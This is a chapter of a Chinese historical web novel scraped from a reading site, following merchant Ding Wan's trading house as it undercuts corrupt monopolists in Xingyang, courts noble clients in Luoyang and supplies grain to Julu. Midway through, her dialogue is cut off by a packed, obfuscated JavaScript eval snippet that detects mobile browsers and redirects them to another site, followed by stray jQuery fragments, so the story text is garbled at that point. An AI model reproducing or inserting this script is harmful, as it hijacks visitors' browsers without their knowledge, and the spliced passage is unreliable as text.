默认冷灰
24号文字
方正启体

第240章 春波渡南北(下)

作者:岭南黔首本书字数:K更新时间:
    “丁兄,这青瓷盘,当真只卖二十五文?”


    一位姓郑的掌柜捧着瓷盘,不敢置信。


    丁延穿着深灰色交领襕衫,外罩半旧羊裘,面容敦厚。


    他点头道:“郑掌柜,老朽何时诳过人?这批货是巩县新窑所出,釉色胎质你也看到了。咱们从巩县直运,不经过洛阳那些大商号转手,价钱自然实在。”


    另一高姓掌柜摸着铁锄,连连赞叹:


    “好铁!这淬火功夫,不比官坊差。八十文一把……啧啧,白家铺子里,这样的锄头要卖两百文!”


    丁珩在旁,忍不住道:


    “那些大商号,心太黑!我们东家说了,做生意要讲良心。货好价公,百姓得了实惠,咱们赚该赚的钱,生意才能长久。”


    他穿着靛青色窄袖裋褐,腰束革带,足蹬皮靴。


    面庞犹存少年锐气,眉眼与丁绾有五六分相似,只是多了几分男儿英挺。


    郑掌柜叹道:“丁小郎君说的是。只是……荥阳这地界,余府君的手段你们是知道的。邹荣、白琨那些人,年年给余府君上供,这才能垄断市面。你们价钱这么低,怕是要惹麻烦。”


    丁延捻须沉吟:


    “老朽省得,所以这批货,咱们不直接零售,只批发给诸位。诸位拿去,加些利钱出售,价钱仍比邹白两家低,百姓自然来买。余府君若要问罪,也问不到你们头上,货是从你们铺子卖出的,你们又未触犯律法。”


    众掌柜相视,皆心动。


    高掌柜咬牙:“干了!这些年被邹白两家压得喘不过气,再这么下去,铺子迟早关门。丁兄,我先要五车瓷器、三车铁器!”


    “我要三车瓷器、两车皮货!”


    “我也要!”


    当日,二十家中小商号分完了首批货物。


    次日,荥阳市面便出现一批价廉物美的瓷器铁器。


    百姓闻讯,蜂拥而至。


    这些商号铺面虽不如邹白两家轩敞,然货品实在,价钱公道,一日之间,货已售罄。


    消息传到邹荣在荥阳的管事耳中,那管事急报余蔚。


    余蔚正在府中宴饮。


    他年过四旬,身材矮胖,面庞浮肿,细眼常眯,颌下微须。


    此刻穿着绛紫色绣金线大袖袍,头戴玉冠,左右各拥一美妓,案上酒肉狼藉。


    闻报,他眯起眼:


    “丁家的人?丁绾那寡妇,手伸到荥阳来了?”


    管事躬身:“正是,他们批发给那些小商号,瓷器价钱只有咱们一半,铁器只有三成。今日市面,咱们铺子门可罗雀。”


    余蔚冷笑:“倒是会钻空子。”


    他推开怀中美妓,对下首一名幕僚道:


    “去,让市掾查查,那些货的税可缴足了?货引可有问题?若有半点不合规,全部查封!”


    幕僚应诺而去。


    然三日过去,市掾回报:


    丁家货引齐全,税赋分文不少,挑不出错处。


    余蔚恼了,亲自召见那些中小商号掌柜。


    郑掌柜、高掌柜等人战战兢兢来到太守府。


    余蔚阴着脸:“听说你们近来生意不错?”


    郑掌柜躬身:“托府君洪福,尚可糊口。”


    “糊口?”


    余蔚嗤笑:“本官看你们是发了大财,那些瓷器铁器,从何而来?”


    王掌柜硬着头皮:“是从河南丁鲍商行进的货。”


    “价钱为何如此低廉?莫非是赃物?”


    “绝非赃物!”丁珩忽然开口。


    众人望去,见丁珩和丁延不知何时竟也跟了来,此刻丁珩立在堂下,昂首道:


    “货是巩县官窑、成皋官坊所出,有河南郡府出具的官凭。价钱低廉,是因东家体恤百姓,薄利多销。余府君若不信,可派人查验。”


    余蔚细眼盯住丁珩:


    “你是何人?”


    “草民丁珩,丁绾是家姐。”


    “呵,丁绾的弟弟。”


    余蔚靠回隐囊,手指轻敲案面。


    “年轻人,做生意要懂规矩。荥阳有荥阳的市价,你们把价钱压得这么低,扰乱了市场,本官很难办。”


    丁珩还想争辩,丁延忙拉他衣袖,上前拱手:


    “府君息怒。小侄年轻气盛,不懂事。咱们这批货,是试水之作,量不大,影响有限。日后若再运货来,定先向府君请示,按荥阳规矩行事。”


    这话给足了台阶。


    余蔚面色稍缓,哼道:


    “还是你明事理。罢了,这批货既已售完,本官也不追究。只是日后……荥阳不欢迎破坏规矩的人。”


    出了太守府,丁珩愤愤:


    “叔父,为何要低声下气?咱们又没犯法!”


    丁延摇头:“珩儿,强龙不压地头蛇。余蔚在荥阳经营十年,根深蒂固。咱们眼下羽翼未丰,不可硬碰。今日他能容咱们售完这批货,已是给了面子。”


    “那以后呢?姐姐还想打通荥阳商路呢。”


    丁延捻须,眼中闪过深思:


    “今日之事,可见余蔚与邹荣等人勾结之深。不过……”


    他顿了顿:“咱们今日虽退一步,却在那些中小商号心中埋了种子。他们尝到了甜头,日后自会悄悄寻咱们进货。余蔚能封明路,封不住暗流。”


    他拍拍丁珩肩膀:


    “写信给你姐,把今日情形细细说明,她和王府君自有计较。”


    ……


    正月二十八,洛阳。


    丁绾已有三月未归洛阳。


    自去岁九月起,她多数时日都在成皋、巩县奔波。


    渡口竣工、铁官增产、瓷窑出精品,事事需她决断。


    腊月时,她索性在成皋城南买下一处两进宅院,将常用器物、账册文书搬来,只留丁福在洛阳老宅看守。


    此番回洛,是因洛阳几家老主顾屡次来信,催问新货。


    马车驶入永和里时,已是申时。


    夕阳斜照,巷中老槐枝桠光秃,投下凌乱影子。


    丁府门庭依旧,只是门楣那方“丁府”青石,在暮色中更显斑驳。


    丁福早得了信,率仆役在门前迎候。


    见丁绾下车,老仆眼眶微红,躬身道:


    “主母,您可回来了。”


    丁绾扶起他,温声道:


    “福伯辛苦。这几个月,家中可好?”


    “都好,都好。”


    丁福抹抹眼角:“只是主母久不归,老奴心里空落落的。”


    入了宅,丁绾未及更衣,先问正事:


    “这几日,可有客来询货?”


    丁福道:“日日都有。安家、公孙家都派人来过,问瓷器可到了。还有几家胡商,想订一批皮货,运往西域。”


    丁绾点头,吩咐婢女取来账簿,一面翻看一面道:


    “这次运回五十车瓷器、三十车铁器、二十车皮货。瓷器分三档,上品青绿釉,只供安、公孙等世家;中品青黄釉,供城中富户;下品素胎粗瓷,价廉,可放铺中零售。铁器、皮货也分等次,你按老规矩安排。”


    丁福一一记下,又道:


    “还有一事。今晨邹家管事送来帖子,说邹掌柜明日在府中设宴,请主母务必赏光。”


    丁绾翻页的手顿了顿。


    去岁州府宴后,她与邹荣再无往来。


    此番突然邀宴,必有所图。


    “回了罢。”


    她淡淡道:“就说我旅途劳顿,染了风寒,需静养数日。”


    丁福犹豫:“主母,邹家势大,这般回绝,只怕……”


    “无妨。”


    丁绾合上账簿,抬眼看向窗外暮色。


    “今时不同往日。咱们的货不靠他邹家也能卖出去。他若聪明,该是他来求咱们,不是咱们去逢迎他。”


    正说着,门房来报:


    安家大郎君亲至,在外求见。


    丁绾起身:


    “快请。”


    来者是安家嫡长子安同,二十出头,头戴漆纱笼冠,身着漆黑色交领广袖深衣,腰束玉带,风度翩翩。


    他拱手笑道:


    “鲍夫人,冒昧来访,恕罪恕罪。”


    丁绾敛衽还礼:“安郎君亲临,蓬荜生辉,何谈冒昧,请坐。”


    婢女奉茶。


    安同不急着饮,先道:


    “家父去岁在邺城长乐公府上,见了丁娘子所赠那套青瓷酒具,釉色温润,形制古雅,甚为喜爱。今闻娘子新货到洛,特命我来,无论价钱,先订二十套。另,家母寿辰在即,想订一套二十四件头的青瓷餐具,釉色盼青绿匀净,纹饰需雅致大方。不知娘子可能安排?”


    丁绾沉吟:“二十四件头餐具,工期约需一月。釉色纹饰,我可让匠人先打样,安郎君过目定夺后,再开窑烧制。”


    “如此甚好!”


    安同大喜:“那价钱……”


    “老主顾了,按去年价,加一成即可。”


    丁绾微笑:“只是有一事,需安郎君相助。”


    “娘子请讲。”


    “听闻令尊与振威将军刘库仁相熟。刘将军好酒,我那儿有一套新烧的青瓷羽觞,器型端正,釉色青黄可爱,想请安郎君代为转赠,请刘将军品鉴。”


    安同何等聪明,立时明白这是借他之手,打通漠南更高门路。


    他笑道:“小事一桩,刘将军最喜宴饮,见了青瓷羽觞,必会问起来处。届时,我自会为夫人美言。”


    “那便多谢了。”


    送走安同,丁福忍不住道:


    “主母这招高明,搭上振威将军那条线,以后在漠南甚至漠北的销路,便有了门路,我们也就更不用怕那邹荣使绊了。”


    丁绾却摇头:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235164|188792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    非为对付邹荣。刘将军若认可咱们的瓷器,日后巩县瓷窑便多一层保障。”


    她顿了顿:“对了,钜鹿、荥阳那边,可有信来?”


    丁福忙取来两封信:“午后刚到。”


    丁绾先拆钜鹿来信。


    鲍俭字迹工整,将贾勉所言细细写明,又附上自己对河北市场的看法。


    信末提到,钜鹿郡丞似与邹荣有勾连,对丁鲍商行多有刁难。


    再看荥阳信。


    丁延笔法老练,将余蔚召见之事平静叙来,未添情绪,然字里行间可见形势严峻。


    丁珩另附一页,言辞激愤,痛斥余蔚贪婪。


    丁绾看完,沉思良久。


    她走到书案前,铺纸研墨,先给鲍俭回信:


    “钜鹿太守贾勉,清正爱民,可深交。郡府采买之事,应下。河北粮、盐、布匹,我可设法筹措,然需时日。首批可先运三千石粟米,价钱按洛阳市价八折。郡丞之辈,虚与委蛇即可,不必得罪,亦不必深交。切记,抱紧贾勉,便是抱紧钜鹿。”


    又给丁延回信:


    “余蔚贪婪,然根基深厚,不可硬撼。荥阳生意,宜明退暗进。中小商号既已尝甜头,可暗中维持供货,量不必大,价可略提,仍比邹白两家低。彼等为利,自会保密。待咱们在河北打开局面,货源充足,再图荥阳不迟。珩弟年轻气盛,叔父多劝导。生意场如战场,忍一时之气,方得长远之利。”


    写完,封缄,交丁福连夜寄出。


    窗外月已中天。


    丁绾推窗,见庭中老梅疏影横斜,暗香浮动。


    她忽然想起,去岁七月时,她还在为成皋渡口、铁官、巩县瓷窑开工的钱粮发愁。


    不过半年,货已北至钜鹿,东至荥阳,安、公孙等世家争相订购。


    而这一切,皆始于九月初的那天,那个年轻太守对她说:


    “我信夫人。”


    丁绾唇角微扬。


    信既未负,路便要继续走下去。


    ……


    二月十七,钜鹿郡衙。


    贾勉正在书房批阅公文,十岁的儿子贾彝在一旁**字。


    贾彝生得眉清目秀,穿着青色交领短襦,跪坐于席,悬腕临摹《急就章》。


    笔锋虽稚嫩,却已见端正。


    忽闻门卒来报:“丁鲍商行运到首批三千石粟米,正在城外验货。”


    贾勉搁笔:“价钱几何?”


    “按洛阳市价八折,一斗八十文。另附信说,此后每月可供两千石,价钱不变。”


    贾勉眼中闪过讶色。


    洛阳粟米市价已涨至一百文一斗,八十文,确是良心价。


    他起身:“更衣,本官亲去查验。”


    贾彝抬头:“父亲,孩儿可否同去?”


    贾勉看他一眼,点头:


    “也好,让你见见实务。”


    父子二人乘车至城外码头。


    只见三十辆牛车排开,车上麻袋垒得齐整。


    鲍俭、鲍珣迎上前,行礼后开袋验货。


    粟米颗粒饱满,色泽金黄,无霉无杂。


    贾勉抓了一把,捻开细看,点头:


    “是好米。”


    鲍俭笑道:“府君放心,这是去岁巩县新收的官仓粮,若非东家特意交代,轻易不外卖的。”


    贾勉问:“丁娘子可还有其他话?”


    鲍俭从怀中取出一信:


    “东家亲笔。”


    贾勉展开,见字迹清秀工整,言辞恭谨。


    信中除确认供粮事宜,还提到,若钜鹿需要铁器、皮货、瓷器,皆可优先供应。


    末了附言:“闻府君清正爱民,妾身感佩。商事虽微,亦愿助府君抚慰黎庶一二。”


    贾勉将信收起,对鲍俭道:


    “回告丁娘子,她的心意,本官领了。日后郡府采买,优先丁鲍商行。”


    回衙路上,贾彝忽然道:


    “父亲,这位丁娘子行事,与那些囤积的商贾大不一样。”


    “哦?你看出了什么?”贾勉温声问。


    贾彝认真道:“她的货好又便宜,肯把粮食运来解急,信中还说愿帮父亲安抚百姓。这不像只为赚钱,倒像……倒像真有几分顾念百姓。”


    他顿了顿:“她背后那位王太守,能在成皋、巩县把事办成,想来也是有本事、肯做实事的。父亲若能与他们好好往来,或许对钜鹿真是件好事。”


    贾勉看着儿子,眼中露出欣慰。


    他望向车窗外初春的田野,缓缓道:


    “彝儿看得明白。丁绾、王曜……确是能做实事的人。如今这世道,肯务实、知民生的人不多了。咱们钜鹿,需要这样的朋友。”


    马车驶过街道,远处市坊人声隐约。


    丁鲍商行的铺面前,百姓仍在排队。


    春寒料峭,而生机已悄然萌动。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)